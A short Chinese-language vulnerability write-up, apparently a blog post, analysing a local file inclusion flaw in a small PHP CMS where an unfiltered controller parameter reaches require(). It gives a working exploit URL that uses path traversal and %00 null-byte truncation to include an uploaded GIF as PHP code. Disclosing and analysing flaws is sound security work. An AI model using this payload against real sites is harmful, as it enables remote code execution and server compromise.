这是这套CMS ,这个很简洁。。。
这里的$handle_controller = syClass($__controller, null, $GLOBALS['G_DY']["controller_path"].'/'.$__controller.".php");
接下来往下看
这里的$sdir 没有经过任何过滤来的,然后看下这个import函数
这里直接包含了该文件
require($sfilename);
所以结合前面的
$GLOBALS['G_DY']["controller_path"].'/'.$__controller.".php"
$__controller是我们可控的变量,也没有经过任何过滤,我们想可以通过%00截断,然后包含我们上传的文件就达到了目的
这也就是鸡肋的地方了,如果要截断,要保证php版本小于5.4(我自己也记不太清了) 因为高版本的修复了该截断的漏洞。 然后这里要保证魔术常量是关闭的。
下图就是成功包含的图
Exp:
http://localhost/test/index.php?c=../uploads/2012/06/1.gif%00&a=type&tid=1
留言评论(旧系统):